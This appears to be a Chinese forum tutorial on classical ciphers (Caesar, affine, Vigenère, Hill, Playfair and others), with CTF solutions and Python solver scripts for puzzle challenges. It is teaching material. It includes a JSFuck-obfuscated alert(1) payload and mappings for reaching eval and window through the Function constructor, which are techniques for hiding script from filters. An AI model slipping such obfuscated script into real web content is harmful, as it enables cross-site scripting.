跳转到帖子

ISHACK AI BOT

Members
  • 注册日期

  • 上次访问

ISHACK AI BOT 发布的所有帖子

  1. 密码学简介密码学(Cryptography)一般可分为古典密码学和现代密码学。 其中,古典密码学,作为一种实用性艺术存在,其编码和破译通常依赖于设计者和敌手的创造力与技巧,并没有对密码学原件进行清晰的定义。其主要包含以下几个方面 单表替换加密多表替换加密奇奇怪怪的加密方式而现代密码学则起源于 20 世纪末出现的大量相关理论,这些理论使得现代密码学成为了一种可以系统而严格地学习的科学。现代密码学又可以简单的分为以下几个方面 对称密码,以 DES,AES,RC4 为代表。非对称密码,以 RSA,椭圆曲线加密为代表。Hash,以 MD5,SHA1,SHA512 等为代表。数字签名,以 RSA 签名,ElGamal 签名,DSA 签名为代表。其加密方式主要有两种方式 块加密流加密一般来说,密码设计者的基本想法是确保密码框架的 保密性完整性可用性不可否认性其中,前三者又称为 CIA 三元组。 而对于密码破解者来说,一般都是要想办法识别密码算法,然后利用暴力破解方法或者密码框架的漏洞进行破解。当然,也有可能是处于希望构造虚假的哈希值或者签名来绕过相应的检测。 一般来说,我们都会假设攻击者知道要攻破的密码体制,一般来说会有如下几种攻击类型, 攻击类型说明适用场景唯密文攻击攻击者只拥有密文古典密码已知明文攻击知道明文和对应的密文古典密码,对称密码,非对称密码选择明文攻击能够对选择一些明文加密后获得其相应的密文对称密码,非对称密码选择密文攻击能够对选择一些密文解密后获得明文非对称密码这里推荐一些资料 可汗学院公开课深入浅出密码学——常用加密技术原理与应用参考维基百科-密码学 古典密码简介shannon的保密系统的通信理论发表前的密码都归为古典密码,古典密码编码方法归根结底主要有两种,即置换和代换。 置换密码把明文中的字母重新排列,字母本身不变,但其位置改变了,这样编成的密码称为置换密码。最简单的置换密码是把明文中的字母顺序倒过来,然后截成固定长度的字母组作为密文。 - 列置换 加密:将明文按固定长m分组,即每行m个字母,在密钥控制下按某一顺序交换列,最后按列优先的顺序依次读出,即产生了密文。 解密:逆过程。 - 周期置换 很大程度上同列置换,只不过加、解密时,在列交换后是按行优先的顺序向下进行。 代换代换密码则是将明文中的字符替代成其他字符。 - 单表代换密码 ①加法密码 A和B是有 n个字母的字母表。 定义一个由A到B的映射:f:A→B f(a_i )= b_i=a_j\ j=i+k \mod n 加法密码是用明文字母在字母表中后面第 k个字母来代替。 K=3 时是著名的凯撒密码,是古罗马恺撒大帝在营救西塞罗战役时用来保护重要军情的加密系统。是世界历史上第一个著名密码应用。 ②乘法密码 A和B是有n个字母的字母表。?定义一个由A到B的映射:f:A→B f(a_i )= b_i= a_j\ j=ik \mod n 其中:(n,k)=1。 注意:只有(n,k)=1,才能正确解密。 ③密钥词组代替密码 随机选一个词语,去掉其中的重复字母,写到矩阵的第一行,从明文字母表中去掉这第一行的字母,其余字母顺序写入矩阵。然后按列取出字母构成密文字母表。 - 多表代换密码 单表代替密码的安全性不高,一个原因是一个明文字母只由一个密文字母代替。可以利用频率分析来破译。故产生了更为安全的多表代换密码,即构造多个密文字母表,在密钥的控制下用以一系列代换表依次对明文消息的字母序列进行代换。 在古典密码学中,我们主要介绍单表替代密码,多表替代密码,以及一些其它比较有意思的密码。 值得一提的是,在古典密码学中,设计者主要考虑消息的保密性,使得只有相关密钥的人才可以解密密文获得消息的内容,对于消息的完整性和不可否认性则并没有进行太多的考虑。 单表代换加密[目的]学习常见的几种加密方式[环境]Ubuntu[工具]JPK[原理]在单表替换加密中,所有的加密方式几乎都有一个共性,那就是明密文一一对应。所以说,一般有以下两种方式来进行破解 在密钥空间较小的情况下,采用暴力破解方式在密文长度足够长的时候,使用词频分析当密钥空间足够大,而密文长度足够短的情况下,破解较为困难。 凯撒密码 原理 凯撒密码(Caesar)加密时会将明文中的 每个字母 都按照其在字母表中的顺序向后(或向前)移动固定数目(循环移动)作为密文。例如,当偏移量是左移 3 的时候(解密时的密钥就是 3): 明文字母表:ABCDEFGHIJKLMNOPQRSTUVWXYZ 密文字母表:DEFGHIJKLMNOPQRSTUVWXYZABC 使用时,加密者查找明文字母表中需要加密的消息中的每一个字母所在位置,并且写下密文字母表中对应的字母。需要解密的人则根据事先已知的密钥反过来操作,得到原来的明文。例如: 明文:THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG 密文:WKH TXLFN EURZQ IRA MXPSV RYHU WKH ODCB GRJ 根据偏移量的不同,还存在若干特定的恺撒密码名称: 偏移量为 10:Avocat (A→K)偏移量为 13: ROT13,ROT13是它自己本身的逆反,也就是说,要还原ROT13,套用加密同样的算法即可得,故同样的操作可用再加密与解密。偏移量为 -5:Cassis (K 6)偏移量为 -6:Cassette (K 7)此外,还有一种基于密钥的凯撒密码 Keyed Caesar。其基本原理是 利用一个密钥,将密钥的每一位转换为数字(一般转化为字母表对应顺序的数字),分别以这一数字为密钥加密明文的每一位字母。 移位密码与凯撒密码类似,区别在于移位密码不仅会处理字母,还会处理数字和特殊字符,常用 ASCII 码表进行移位。其破解方法也是遍历所有的可能性来得到可能的结果。 Atbash Cipher原理埃特巴什码(Atbash Cipher)其实可以视为下面要介绍的简单替换密码的特例,它使用字母表中的最后一个字母代表第一个字母,倒数第二个字母代表第二个字母。在罗马字母表中,它是这样出现的: 明文:A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 密文:Z Y X W V U T S R Q P O N M L K J I H G F E D C B A 简单替换密码原理简单替换密码(Simple Substitution Cipher)加密时,将每个明文字母替换为与之唯一对应且不同的字母。它与恺撒密码之间的区别是其密码字母表的字母不是简单的移位,而是完全是混乱的,这也使得其破解难度要高于凯撒密码。 比如: 明文字母 : abcdefghijklmnopqrstuvwxyz 密钥字母 : phqgiumeaylnofdxjkrcvstzwb a 对应 p,d 对应 h,以此类推。 仿射密码原理仿射密码的加密函数是 E(x)=(ax+b)(modm),其中 x 表示明文按照某种编码得到的数字a 和 m 互质m 是编码系统中字母的数目。解密函数是 D(x)=a−1(x−b)(modm),其中 a−1 是 a 在 Zm 群的乘法逆元。 [步骤]凯撒密码这里以 XMan 一期夏令营分享赛宫保鸡丁队 Crypto 100 为例进行介绍。 明文:s0a6u3u1s0bv1a 密钥:guangtou 偏移:6,20,0,13,6,19,14,20 密文:y0u6u3h1y0uj1u 破解 对于不带密钥的凯撒密码来说,其基本的破解方法有两种方式 遍历 26 个偏移量,适用于普遍情况利用词频分析,适用于密文较长的情况。其中,第一种方式肯定可以得到明文,而第二种方式则不一定可以得到正确的明文。 而对于基于密钥的凯撒密码来说,一般来说必须知道对应的密钥。 具体以本题为例:guangtou首先转换为偏移,a转换为0,其它字母进行对应偏移,则最终偏移为6,20,0,13,6,19,14,20,而明文为s0a6u3u1s0bv1a,只对其中的字母进行加密,其中对第一个字母s,进行密钥第一个字母s对应的偏移,所以加密后为y,继续对明文第二个字母a进行密钥u对应的偏移,加密后字母为u,全部加密完成后可从明文得到密文,反向操作可从密文得到明文。 工具 一般我们有如下的工具,其中JPK比较通用。 JPK,可解带密钥与不带密钥凯撒密码在线解密工具Atbash Cipher下面给出一个例子,该例根据在罗马字母表中对应规则加密而成,理解即可 明文:the quick brown fox jumps over the lazy dog 密文:gsv jfrxp yildm ulc qfnkh levi gsv ozab wlt 破解 可以看出其密钥空间足够短,同时当密文足够长时,仍然可以采用词频分析的方法解决。 简单替换密码示例,下方示例使用了原理部分,简单替换部分的对应规则加密而成 明文:the quick brown fox jumps over the lazy dog 密文:cei jvaql hkdtf udz yvoxr dsik cei npbw gdm 而解密时,我们一般是知道了每一个字母的对应规则,才可以正常解密。 破解 由于这种加密方式导致其所有的密钥个数是26! ,所以几乎上不可能使用暴力的解决方式。所以我们 一般采用词频分析。 工具 词频分析破解工具仿射密码下面我们以 E(x)=(5x+8)mod26 函数为例子进行介绍,加密字符串为 AFFINE CIPHER,这里我们直接采用字母表26个字母作为编码系统 明文AFFINECIPHERx055813428157417y=5x+883333487328184883432893ymod26877222121822517215密文IHHWVCSWFRCP其对应的加密结果是 IHHWVCSWFRCP。 对于解密过程,正常解密者具有a与b,根据原理部分的对应说明可以计算得到 a−1 为 21,所以其解密函数是D(x)=21(x−8)(mod26) ,解密如下 密文IHHWVCSWFRCPy877222121822517215x=21(y−8)0-21-21294273-126210294-63189-126147xmod26055813428157417明文AFFINECIPHER可以看出其特点在于只有 26 个英文字母。 破解 首先,我们可以看到的是,仿射密码对于任意两个不同的字母,其最后得到的密文必然不一样,所以其也具有最通用的特点。当密文长度足够长时,我们可以使用频率分析的方法来解决。 其次,我们可以考虑如何攻击该密码。可以看出当a=1 时,仿射加密是凯撒加密。而一般来说,我们利用仿射密码时,其字符集都用的是字母表,一般只有26个字母,而不大于26的与26互素的个数一共有 ϕ(26)=ϕ(2)×ϕ(13)=12算上b的偏移可能,一共有可能的密钥空间大小也就是 12×26=312一般来说,对于该种密码,我们至少得是在已知部分明文的情况下才可以攻击。下面进行简单的分析。 这种密码由两种参数来控制,如果我们知道其中任意一个参数,那我们便可以很容易地快速枚举另外一个参数得到答案。 但是,假设我们已经知道采用的字母集,这里假设为26个字母,我们还有另外一种解密方式,我们只需要知道两个加密后的字母 y1,y2 即可进行解密。那么我们还可以知道 y1=(ax1+b)(mod26)y2=(ax2+b)(mod26)两式相减,可得 y1−y2=a(x1−x2)(mod26)这里 y1,y2 已知,如果我们知道密文对应的两个不一样的字符 x1 与 x2 ,那么我们就可以很容易得到 a ,进而就可以得到 b 了。 例子 下方程序保存在操作机桌面/tools/TWCTF2016-super_express/目录中 这里我们以TWCTF 2016 的 super_express为例进行介绍。简单看一下给的源码 import sys key = '****CENSORED***************' flag = 'TWCTF{*******CENSORED********}' if len(key) % 2 == 1: print("Key Length Error") sys.exit(1) n = len(key) / 2 encrypted = '' for c in flag: c = ord(c) for a, b in zip(key[0:n], key[n:2*n]): c = (ord(a) * c + ord(b)) % 251 encrypted += '%02x' % c print encrypted 可以发现,虽然对于 flag 中的每个字母都加密了 n 次,如果我们仔细分析的话,我们可以发现 c1=a1c+b1c2=a2c1+b2=a1a2c+a2b1c+b2=kc+d根据第二行的推导,我们可以得到其实 cn 也是这样的形式,可以看成 cn=xc+y ,并且,我们可以知道的是,key 是始终不变化的,所以说,其实这个就是仿射密码。 此外,题目中还给出了密文,密文内容如下 805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c313a8ccf9 以及部分部分密文对应的明文,那么我们就很容易利用已知明文攻击的方法来攻击了,利用代码如下,将密文保存为文本文件并重命名为encrypted,在encrypted目录运行以下代码 import gmpy key = '****CENSORED****************' flag = 'TWCTF{*******CENSORED********}' f = open('encrypted', 'r') data = f.read().strip('\n') encrypted = [int(data[i:i + 2], 16) for i in range(0, len(data), 2)] plaindelta = ord(flag[1]) - ord(flag[0]) cipherdalte = encrypted[1] - encrypted[0] a = gmpy.invert(plaindelta, 251) * cipherdalte % 251 b = (encrypted[0] - a * ord(flag[0])) % 251 a_inv = gmpy.invert(a, 251) result = "" for c in encrypted: result += chr((c - b) * a_inv % 251) print result 结果如下(在文件所在目录右键,选择open Terminal here可在当前目录打开终端,如下运行解密程序即可) shell ➜ TWCTF2016-super_express git:(master) ✗ python exploit.py TWCTF{Faster_Than_Shinkansen!} [总结]通过本节的学习,我们可以学到几种常见的加密方式以及破解方法 多表代换加密对于多表替换加密来说,加密后的字母几乎不再保持原来的频率,所以我们一般只能通过寻找算法实现对应的弱点进行破解。 原理Playfair 密码(Playfair cipher or Playfair square)是一种替换密码,1854 年由英国人查尔斯·惠斯通(Charles Wheatstone)发明,基本算法如下: 选取一串英文字母,除去重复出现的字母,将剩下的字母逐个逐个加入 5 × 5 的矩阵内,剩下的空间由未加入的英文字母依 a-z 的顺序加入。注意,将 q 去除,或将 i 和 j 视作同一字。将要加密的明文分成两个一组。若组内的字母相同,将 X(或 Q)加到该组的第一个字母后,重新分组。若剩下一个字,也加入 X 。在每组中,找出两个字母在矩阵中的地方。若两个字母不同行也不同列,在矩阵中找出另外两个字母(第一个字母对应行优先),使这四个字母成为一个长方形的四个角。若两个字母同行,取这两个字母右方的字母(若字母在最右方则取最左方的字母)。若两个字母同列,取这两个字母下方的字母(若字母在最下方则取最上方的字母)。新找到的两个字母就是原本的两个字母加密的结果。 以 playfair example 为密匙,得 P L A Y F I R E X M B C D G H K N O Q S T U V W Z 要加密的讯息为 Hide the gold in the tree stump HI DE TH EG OL DI NT HE TR EX ES TU MP 就会得到 BM OD ZB XD NA BE KU DM UI XM MO UV IF 工具CAP4原理Polybius密码又称为棋盘密码,其一般是将给定的明文加密为两两组合的数字,其常用密码表 123451ABCDE2FGHI/JK3LMNOP4QRSTU5VWXYZ举个例子,明文 HELLO,加密后就是 23 15 31 31 34。 另一种密码表 ADFGXAbtalpDdhozkFqfvsnGgjcuxXmrewy注意,这里字母的顺序被打乱了。 A D F G X 的由来: 1918 年,第一次世界大战将要结束时,法军截获了一份德军电报,电文中的所有单词都由 A、D、F、G、X 五个字母拼成,因此被称为 ADFGX 密码。ADFGX 密码是 1918 年 3 月由德军上校 Fritz Nebel 发明的,是结合了 Polybius 密码和置换密码的双重加密方案。 举个例子,HELLO,使用这个表格加密,就是 DD XF AG AG DF。 工具CrypToolVigenere 维吉尼亚密码原理维吉尼亚密码(Vigenere)是使用一系列凯撒密码组成密码字母表的加密算法,属于多表密码的一种简单形式。 下面给出一个例子 明文:come greatwall 密钥:crypto 首先,对密钥进行填充使其长度与明文长度一样。 明文comegreatwall密钥cryptocryptoc其次,查表得密文 明文:come greatwall 密钥:crypto 密文:efkt zferrltzn 破解对包括维吉尼亚密码在内的所有多表密码的破译都是以字母频率为基础的,但直接的频率分析却并不适用,这是因为在维吉尼亚密码中,一个字母可以被加密成不同的密文,因而简单的频率分析在这里并没有用。 破译维吉尼亚密码的关键在于它的密钥是循环重复的。 如果我们知道了密钥的长度,那密文就可以被看作是交织在一起的凯撒密码,而其中每一个都可以单独破解。关于密码的长度,我们可以 使用卡西斯基试验和弗里德曼试验来获取。 卡西斯基试验是基于类似 the 这样的常用单词有可能被同样的密钥字母进行加密,从而在密文中重复出现。例如,明文中不同的 CRYPTO 可能被密钥 ABCDEF 加密成不同的密文: 密钥:ABCDEF AB CDEFA BCD EFABCDEFABCD 明文:CRYPTO IS SHORT FOR CRYPTOGRAPHY 密文:CSASXT IT UKSWT GQU GWYQVRKWAQJB 此时明文中重复的元素在密文中并不重复。然而,如果密钥相同的话,结果可能便为(使用密钥 ABCD): 密钥:ABCDAB CD ABCDA BCD ABCDABCDABCD 明文:CRYPTO IS SHORT FOR CRYPTOGRAPHY 密文:CSASTP KV SIQUT GQU CSASTPIUAQJB 此时卡西斯基试验就能产生效果。对于更长的段落此方法更为有效,因为通常密文中重复的片段会更多。如通过下面的密文就能破译出密钥的长度: 密文:DYDUXRMHTVDVNQDQNWDYDUXRMHARTJGWNQD 其中,两个 DYDUXRMH 的出现相隔了 18 个字母。因此,可以假定密钥的长度是 18 的约数,即长度为 18、9、6、3 或 2。而两个 NQD 则相距 20 个字母,意味着密钥长度应为 20、10、5、4 或 2。取两者的交集,则可以基本确定密钥长度为 2。接下来就是进行进一步的操作了。 关于更加详细的破解原理,这里暂时不做过多的介绍。 工具已知密钥Python 的 pycipher 库在线解密 Vigenère cipherCAP4未知密钥Vigenère Cipher CodebreakerVigenere Solver, 不够完善。Nihilist原理Nihilist密码又称关键字密码:明文 + 关键字 = 密文。以关键字 helloworld 为例。 首先利用密钥构造棋盘矩阵(类似 Polybius 密码) - 新建一个 5 × 5 矩阵 - 将字符不重复地依次填入矩阵 - 剩下部分按字母顺序填入 - 字母 i 和 j 等价 123451helow2rdabc3fgi / jkm4npqst5uvxyz对于加密过程参照矩阵 M 进行加密: a -> M[2,3] -> 23 t -> M[4,5] -> 45 对于解密过程 参照矩阵 M 进行解密: 23 -> M[2,3] -> a 45 -> M[4,5] -> t 可以看出,密文的特征有如下几点 纯数字只包含 1 到 5密文长度偶数。Hill原理希尔密码(Hill)使用每个字母在字母表中的顺序作为其对应的数字,即A=0,B=1,C=2 等,然后将明文转化为 n 维向量,跟一个 n × n 的矩阵相乘,再将得出的结果模 26。注意用作加密的矩阵(即密匙)在 Zn26Z26n 必须是可逆的,否则就不可能解码。只有矩阵的行列式和 26 互质,才是可逆的。下面举一个例子 明文:ACT 将明文化为矩阵。 ⎡⎢⎣0219⎤⎥⎦[0219]假设密钥为: ⎡⎢⎣6241131610201715⎤⎥⎦[6241131610201715]加密过程为: ⎡⎢⎣6241131610201715⎤⎥⎦⎡⎢⎣0219⎤⎥⎦≡⎡⎢⎣67222319⎤⎥⎦≡⎡⎢⎣15147⎤⎥⎦mod26[6241131610201715][0219]≡[67222319]≡[15147]mod26密文即为 密文:POH 工具CAP4Cryptool例子这里我们以ISCC 2015 base decrypt 150为例进行介绍,题目为 密文: 22,09,00,12,03,01,10,03,04,08,01,17 (wjamdbkdeibr) 使用的矩阵是 1 2 3 4 5 6 7 8 10 请对密文解密. 首先,矩阵是 3 × 3 的。说明每次加密3个字符。我们直接使用 Cryptool,需要注意的是,这个矩阵是按照列来排布的。即如下 1 4 7 2 5 8 3 6 10 最后的结果为 overthehillx。 AutokeyCipher原理自动密钥密码(Autokey Cipher)也是多表替换密码,与维吉尼亚密码密码类似,但使用不同的方法生成密钥。通常来说它要比维吉尼亚密码更安全。自动密钥密码主要有两种,关键词自动密钥密码和原文自动密钥密码。下面我们以关键词自动密钥为例: 明文:THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG 关键词:CULTURE 自动生成密钥: CULTURE THE QUICK BROWN FOX JUMPS OVER THE 接下来的加密过程和维吉尼亚密码类似,从相应的表格可得: 密文 VBP JOZGD IVEQV HYY AIICX CSNL FWW ZVDP WVK 工具已知关键词Python 的 pycipher 库 其他类型加密培根密码原理培根密码使用两种不同的字体,代表 A 和 B,结合加密表进行加解密。 aAAAAAgAABBAnABBAAtBAABAbAAAABhAABBBoABBABu-vBAABBcAAABAi-jABAAApABBBAwBABAAdAAABBkABAABqABBBBxBABABeAABAAlABABArBAAAAyBABBAfAABABmABABBsBAAABzBABBB上面的是常用的加密表。还有另外的一种加密表,可认为是将 26 个字母从 0 到 25 排序,以二进制表示,A 代表 0,B 代表 1。 下面这一段内容就是明文 steganography 加密后的内容,正常字体是 A,粗体是 B: To encode a message each letter of the plaintext is replaced by a group of five of the letters 'A' or 'B'. 可以看到,培根密码主要有以下特点 只有两种字符每一段的长度为 5加密内容会有特殊的字体之分,亦或者大小写之分。工具培根密码在线解密工具栅栏密码原理栅栏密码把要加密的明文分成 N 个一组,然后把每组的第 1 个字连起来,形成一段无规律的话。这里给出一个例子 明文:THERE IS A CIPHER 去掉空格后变为 THEREISACIPHER 分成两栏,两个一组得到 TH ER EI SA CI PH ER 先取出第一个字母,再取出第二个字母 TEESCPE HRIAIHR 连在一起就是 TEESCPEHRIAIHR 上述明文也可以分为2栏。 THEREIS ACIPHER 组合得到密文 TAHCEIRPEHIESR 曲路密码原理曲路密码(Curve Cipher)是一种换位密码,需要事先双方约定密钥(也就是曲路路径)。下面给出一个例子: 明文:The quick brown fox jumps over the lazy dog 填入 5 行 7 列表(事先约定填充的行列数) 加密的回路线(事先约定填充的行列数) 密文:gesfc inpho dtmwu qoury zejre hbxva lookT 列移位加密原理列移位密码(Columnar Transposition Cipher)是一种比较简单,易于实现的换位密码,通过一个简单的规则将明文打乱混合成密文。下面给出一个例子。 我们以明文 The quick brown fox jumps over the lazy dog,密钥 how are u 为例: 将明文填入 5 行 7 列表(事先约定填充的行列数,如果明文不能填充完表格可以约定使用某个字母进行填充) 密钥: how are u,按 how are u 在字母表中的出现的先后顺序进行编号,我们就有 a 为 1,e 为 2,h 为 3,o 为 4,r 为 5,u 为 6,w 为 7,所以先写出 a 列,其次 e 列,以此类推写出的结果便是密文: 密文: qoury inpho Tkool hbxva uwmtd cfseg erjez 01248 密码原理该密码又称为云影密码,使用 0,1,2,4,8 四个数字,其中 0 用来表示间隔,其他数字以加法可以表示出 如:28=10,124=7,18=9,再用 1->26 表示 A->Z。 可以看出该密码有以下特点 只有 0,1,2,4,8例子这里我们以CFF 2016 影之密码为例进行介绍,题目 8842101220480224404014224202480122 我们按照0来进行分割,如下 内容数字字符884218+8+4+2+1=23W1221+2+2=5E484+8=12L22442+2+4+4=12L44D1422421+4+2+2+4+2=15O2482+4+8=14N1221+2+2=5E所以最后的 flag 为 WELLDONE。 JSFuck原理JSFuck 可以只用 6 个字符 []()!+ 来编写 JavaScript 程序。比如我们想用 JSFuck 来实现 alert(1) 代码如下 [][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]][([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[!+[]+!+[]+!+[]]]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]]]+([][[]]+[])[+[[+!+[]]]]+(![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[+!+[]]]]+([][[]]+[])[+[[+[]]]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]((![]+[])[+[[+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]+(!![]+[])[+[[+[]]]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[+!+[]]]+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+[+!+[]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[+!+[]]]+[[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]]])() 其他一些基本的表达: false => ![] true => !![] undefined => [][[]] NaN => +[![]] 0 => +[] 1 => +!+[] 2 => !+[]+!+[] 10 => [+!+[]]+[+[]] Array => [] Number => +[] String => []+[] Boolean => ![] Function => []["filter"] eval => []["filter"]["constructor"]( CODE )() window => []["filter"]["constructor"]("return this")() 工具JSFuck 在线加密网站BrainFuck原理Brainfuck,是一种极小化的计算机语言,它是由 Urban Müller 在 1993 年创建的。我们举一个例子,如果我们想要一个在屏幕上打印Hello World!,那么对应的程序如下。对于其中的原理,感兴趣的可以自行网上搜索。 ++++++++++[>+++++++>++++++++++>+++>+<<<<-] >++.>+.+++++++..+++.>++.<<+++++++++++++++. >.+++.------.--------.>+.>. 与其对应的还有 ook。 工具Brainfuck在线解密工具猪圈密码原理猪圈密码是一种以格子为基础的简单替代式密码,格子如下 我们举一个例子,如明文为 X marks the spot ,那么密文如下 舞动的小人密码原理这种密码出自于福尔摩斯探案集。每一个跳舞的小人实际上对应的是英文二十六个字母中的一个,而小人手中的旗子则表明该字母是单词的最后一个字母,如果仅仅是一个单词而不是句子,或者是句子中最后的一个单词,则单词中最后一个字母不必举旗。 键盘密码所谓键盘密码,就是采用手机键盘或者电脑键盘进行加密。 手机键盘密码手机键盘加密方式,是每个数字键上有 3-4 个字母,用两位数字来表示字母,例如:ru 用手机键盘表示就是:7382,那么这里就可以知道了,手机键盘加密方式不可能用 1 开头,第二位数字不可能超过 4,解密的时候参考此 关于手机键盘加密还有另一种方式,就是「音的」式(这一点可能根据手机的不同会有所不同),具体参照手机键盘来打,例如:「数字」表示出来就是:748 94。在手机键盘上面按下这几个数,就会出:「数字」的拼音。 电脑键盘棋盘¶电脑键盘棋盘加密,利用了电脑的棋盘方阵。 电脑键盘坐标电脑键盘坐标加密,利用键盘上面的字母行和数字行来加密,例:bye 用电脑键盘 XY 表示就是:351613 电脑键盘 QWE电脑键盘 QWE 加密法,就是用字母表替换键盘上面的排列顺序。 键盘布局加密简单地说就是根据给定的字符在键盘上的样子来进行加密。 0CTF 2014 classic小丁丁发现自己置身于一个诡异的房间,面前只有一扇刻着奇怪字符的门。 他发现门边上还有一道密码锁,似乎要输入密码才能开门。。4esxcft5 rdcvgt 6tfc78uhg 098ukmnb 发现这么乱,还同时包括数字和字母猜想可能是键盘密码,试着在键盘上按照字母顺序描绘一下,可得到0ops字样,猜测就是flag了。 2017年xman选拔赛——一二三,木头人我数123木头人,再不行动就要被扣分。 23731263111628163518122316391715262121 密码格式xman{flag} 题目中有很明显的提示123,那么就自然需要联想到键盘密码中电脑键盘坐标密码,可以发现前几个数字第二个数字都是1-3范围内的,也验证了我们的猜测。于是 23-x 73-m 12-a 63-n 11-q 不对呀,密码格式是 xman{,第四个字符是 {,于是看了看 { 的位置,其并没有对应的横坐标,但是如果我们手动把它视为 11 的话,那么111就是 {。然后依次往后推,发现确实可行,,最后再把 121 视为 } 即可得到 flag。 xman{hintisenough} 从这里我们可以看出,我们还是要注意迁移性,不能单纯地照搬一些已有的知识。 总结古典密码的基本解题思路可以总结如下 已知密码,识别密码未知密码,分析密码特性,利用暴力破解或者相应思路求解有以下几种方法可以用来识别密码 加密方式判别字符集判别加密结果样子判别围在栅栏里的爱题目描述 最近一直在好奇一个问题,QWE到底等不等于ABC? -.- .. --.- .-.. .-- - ..-. -.-. --.- --. -. ... --- --- flag格式:CTF{xxx} 首先,根据密码样式判断是摩斯电码,解密后得到 KIQLWTFCQGNSOO,看着也不像 flag,题目中还提示有栅栏与 QWE到底等不等于ABC,两个都试了试之后,发现是先 QWE 然后栅栏可得到结果。 首先键盘 QWE 解密,试着解密得到 IILYOAVNEBSAHR。继而栅栏解密得到 ILOVESHIYANBAR。 2017 SECCON Vigenere3d程序如下 # Vigenere3d.py import sys def _l(idx, s): return s[idx:] + s[:idx] def main(p, k1, k2): s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}" t = [[_l((i+j) % len(s), s) for j in range(len(s))] for i in range(len(s))] i1 = 0 i2 = 0 c = "" for a in p: c += t[s.find(a)][s.find(k1[i1])][s.find(k2[i2])] i1 = (i1 + 1) % len(k1) i2 = (i2 + 1) % len(k2) return c print main(sys.argv[1], sys.argv[2], sys.argv[2][::-1]) $ python Vigenere3d.py SECCON{**************************} ************** POR4dnyTLHBfwbxAAZhe}}ocZR3Cxcftw9 首先,我们先来分析一下 t 的构成 t[i][j]=s[i+j:]+s[:i+j]t[i][k]=s[i+k:]+s[:i+k]t[i][j]=s[i+j:]+s[:i+j]t[i][k]=s[i+k:]+s[:i+k]t[i][j][k]t[i][j][k] 为 t[i][j]t[i][j] 中的第 k 个字符,t[i][k][j]t[i][k][j] 为 t[i][k]t[i][k] 中的第 j 个字符。无论是 i+j+ki+j+k 是否超过 len(s) 两者都始终保持一致,即 t[i][j][k]=t[i][k][j]t[i][j][k]=t[i][k][j] 。 故而,其实对于相同的明文来说,可能有多个密钥使其生成相同的密文。 然而上面分析就是单纯地分析而已,,下面开始正题。 不难看出,密文的每一位只与明文的相应位相关,而且,密钥的每一位的空间最大也就是 s 的大小,所以我们可以使用爆破来获取密钥。这里根据上述命令行提示,可以知道密钥长度为 14,恰好明文前面7个字节已知。恢复密钥的 exp 如下 def get_key(plain, cipher): s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}" t = [[_l((i + j) % len(s), s) for j in range(len(s))] for i in range(len(s))] i1 = 0 i2 = 0 key = ['*'] * 14 for i in range(len(plain)): for i1 in range(len(s)): for i2 in range(len(s)): if t[s.find(plain[i])][s.find(s[i1])][s.find(s[i2])] == cipher[ i]: key[i] = s[i1] key[13 - i] = s[i2] return ''.join(key) 恢复明文的脚本如下 def decrypt(cipher, k1, k2): s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}" t = [[_l((i + j) % len(s), s) for j in range(len(s))] for i in range(len(s))] i1 = 0 i2 = 0 plain = "" for a in cipher: for i in range(len(s)): if t[i][s.find(k1[i1])][s.find(k2[i2])] == a: plain += s[i] break i1 = (i1 + 1) % len(k1) i2 = (i2 + 1) % len(k2) return plain 得到明文如下 ➜ 